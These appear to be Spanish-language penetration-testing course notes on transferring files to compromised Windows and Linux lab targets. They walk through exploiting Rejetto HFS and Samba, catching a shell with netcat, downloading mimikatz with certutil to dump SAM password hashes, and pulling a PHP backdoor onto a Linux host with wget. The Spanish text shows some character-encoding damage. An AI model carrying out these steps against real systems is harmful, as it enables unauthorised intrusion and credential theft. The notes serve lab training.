Transferring Files
Transferring Files To Windows & Linux Targets
Setting Up A Web Server With Python
Transferring Files To Target Systems
Despu茅s de obtener acceso inicial a un sistema de destino, deber谩 transferir archivos a dicho sistema.
En algunos casos, no tendr谩 acceso al sistema de destino a trav茅s de una sesi贸n de Meterpreter y, como resultado, deber谩 utilizar las utilidades espec铆ficas del sistema operativo incorporadas para facilitar la transferencia de archivos desde su sistema al sistema de destino.
Este proceso utiliza un enfoque de dos pasos, en el que deber谩 alojar los archivos que desea transferir en un servidor web y descargar los archivos alojados en el servidor web al sistema de destino.
Setting Up A Web Server With Python
Python viene con un m贸dulo integrado conocido como SimpleHTTPServer(python2) y http.server (python3), que se puede utilizar para facilitar un servidor HTTP simple que le proporcione controladores de solicitudes GET y HEAD est谩ndar.
Este m贸dulo se puede utilizar para alojar archivos en cualquier directorio de su sistema y se puede implementar a trav茅s de un solo comando en su terminal.
Demo: Setting Up A Web Server With Python
cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .
ls
# Creado un servidor http con python 2
python -m SimpleHTTPServer 80
# Creado un servidor http con python 3
python3 -m http.server 80
Quiz: Setting Up A Web Server With Python

Transferring Files To Windows Targets
Demo: Transferring Files To Windows Targets
nmap -sV -p 80 10.2.30.185
searchsploit rejetto
searchsploit -m 39161
vim 39161.py
# Configurar el archivo deacuerdo al ambiente
# configurar IP / puerto
# Atacante
cd /usr/share/windows-binaries
python3 -m http.server 801
python 39161.py 10.2.30.185 801
nc -nvlp 1234
whoami
whoami /priv
# Trasnferimos el mimikatz
cd <Path Mimikatz .exe>
python3 -m http.server 80
# Descarcargar con windows
certutil -urlcache -f http://10.10.5.2/mimikatz.exe mimikatz.exe
# Vovlado de hash
.\mimikatz.exe
privilege::debug
lsadump::sam
Quiz: Transferring Files To Windows Targets

Transferring Files To Linux Targets
Demo: Transferring Files To Linux Targets
# Obtener acceso al objetivo
nmap -sV 192.196.45.3
# tmux, es una herrramienta que te permite abrir multiples terminales
# Control B o C, abrira una nueva terminal
msf5 > setg RHOSTS 192.196.45.3
msf5 > search samba
msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is_known_pipename) > show options
msf5 exploit(linux/samba/is_known_pipename) > exploit
/bin/bash -i
root@victim-l:/tmp# cat /etc/*release
# Configuramos python para transferir
cd /usr/share/webshells/php
pyhon3 -m http.server 80
# Descargar desde una URL en Linux
wget http://192.196.45.2/php-backdoor.php
Quiz: Transferring Files To Linux Targets

Last updated